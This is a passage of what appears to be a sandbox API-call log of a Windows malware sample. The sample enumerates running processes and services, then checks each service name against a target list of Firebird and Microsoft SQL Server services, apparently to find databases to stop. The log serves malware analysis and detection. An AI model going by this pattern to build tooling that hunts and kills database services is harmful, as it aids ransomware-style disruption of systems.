th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.661] lstrlenW (lpString="lsm.exe") returned 7 [0166.661] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.662] lstrlenW (lpString="svchost.exe") returned 11 [0166.662] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.662] lstrlenW (lpString="svchost.exe") returned 11 [0166.662] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.662] lstrlenW (lpString="svchost.exe") returned 11 [0166.662] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.663] lstrlenW (lpString="svchost.exe") returned 11 [0166.663] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.663] lstrlenW (lpString="svchost.exe") returned 11 [0166.663] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.663] lstrlenW (lpString="audiodg.exe") returned 11 [0166.663] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.664] lstrlenW (lpString="svchost.exe") returned 11 [0166.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.664] lstrlenW (lpString="explorer.exe") returned 12 [0166.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.664] lstrlenW (lpString="dwm.exe") returned 7 [0166.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.664] lstrlenW (lpString="svchost.exe") returned 11 [0166.664] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0166.665] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0166.665] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.665] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.666] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.667] lstrlenW (lpString="reader_sl.exe") returned 13 [0166.667] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.667] lstrlenW (lpString="svchost.exe") returned 11 [0166.667] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.667] lstrlenW (lpString="taskhost.exe") returned 12 [0166.667] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.668] lstrlenW (lpString="dllhost.exe") returned 11 [0166.668] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.668] lstrlenW (lpString="taskhost.exe") returned 12 [0166.668] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.669] lstrlenW (lpString="dllhost.exe") returned 11 [0166.669] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.669] lstrlenW (lpString="dllhost.exe") returned 11 [0166.669] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0166.669] CloseHandle (hObject=0x3d0) returned 1 [0166.670] Sleep (dwMilliseconds=0x1f4) [0167.195] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0167.195] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0167.195] GetLastError () returned 0xea [0167.195] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0167.196] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0167.196] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0167.197] lstrlenW (lpString="Appinfo") returned 7 [0167.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.197] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.197] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.197] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.197] lstrlenW (lpString="AudioSrv") returned 8 [0167.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0167.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0167.197] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0167.197] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0167.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0167.197] lstrlenW (lpString="BFE") returned 3 [0167.197] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.197] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.197] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.197] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.197] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.197] lstrlenW (lpString="CryptSvc") returned 8 [0167.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.198] lstrlenW (lpString="CscService") returned 10 [0167.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0167.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0167.198] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0167.198] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0167.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0167.198] lstrlenW (lpString="DcomLaunch") returned 10 [0167.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.198] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.198] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.198] lstrlenW (lpString="Dhcp") returned 4 [0167.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.198] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.198] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.198] lstrlenW (lpString="Dnscache") returned 8 [0167.198] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.198] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.198] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.199] lstrlenW (lpString="DPS") returned 3 [0167.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.199] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.199] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.199] lstrlenW (lpString="eventlog") returned 8 [0167.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0167.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0167.199] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0167.199] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0167.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0167.199] lstrlenW (lpString="EventSystem") returned 11 [0167.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.199] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.199] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.199] lstrlenW (lpString="gpsvc") returned 5 [0167.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.199] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.199] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.199] lstrlenW (lpString="iphlpsvc") returned 8 [0167.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.200] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.200] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.200] lstrlenW (lpString="LanmanServer") returned 12 [0167.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.200] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.200] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.200] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.200] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.200] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.200] lstrlenW (lpString="lmhosts") returned 7 [0167.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.200] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.200] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.200] lstrlenW (lpString="MMCSS") returned 5 [0167.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0167.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0167.200] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0167.201] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0167.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0167.201] lstrlenW (lpString="MpsSvc") returned 6 [0167.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.201] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.201] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.201] lstrlenW (lpString="Netman") returned 6 [0167.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0167.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0167.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0167.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0167.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0167.201] lstrlenW (lpString="netprofm") returned 8 [0167.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.202] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.202] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.202] lstrlenW (lpString="NlaSvc") returned 6 [0167.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.202] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.202] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.202] lstrlenW (lpString="nsi") returned 3 [0167.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.202] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.202] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.202] lstrlenW (lpString="PcaSvc") returned 6 [0167.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.202] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.202] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.202] lstrlenW (lpString="PlugPlay") returned 8 [0167.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.202] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.202] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.203] lstrlenW (lpString="Power") returned 5 [0167.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.203] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.203] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.203] lstrlenW (lpString="ProfSvc") returned 7 [0167.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.203] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.203] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.203] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.203] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.203] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.203] lstrlenW (lpString="RpcSs") returned 5 [0167.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.203] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.203] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.203] lstrlenW (lpString="SamSs") returned 5 [0167.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.204] lstrlenW (lpString="Schedule") returned 8 [0167.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.204] lstrlenW (lpString="SENS") returned 4 [0167.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.204] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.204] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.204] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.204] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.204] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.204] lstrlenW (lpString="Spooler") returned 7 [0167.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.205] lstrlenW (lpString="SysMain") returned 7 [0167.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.205] lstrlenW (lpString="Themes") returned 6 [0167.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.205] lstrlenW (lpString="TrkWks") returned 6 [0167.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0167.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0167.205] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0167.205] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0167.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0167.205] lstrlenW (lpString="UxSms") returned 5 [0167.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0167.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0167.205] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0167.205] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0167.205] lstrcmpiW 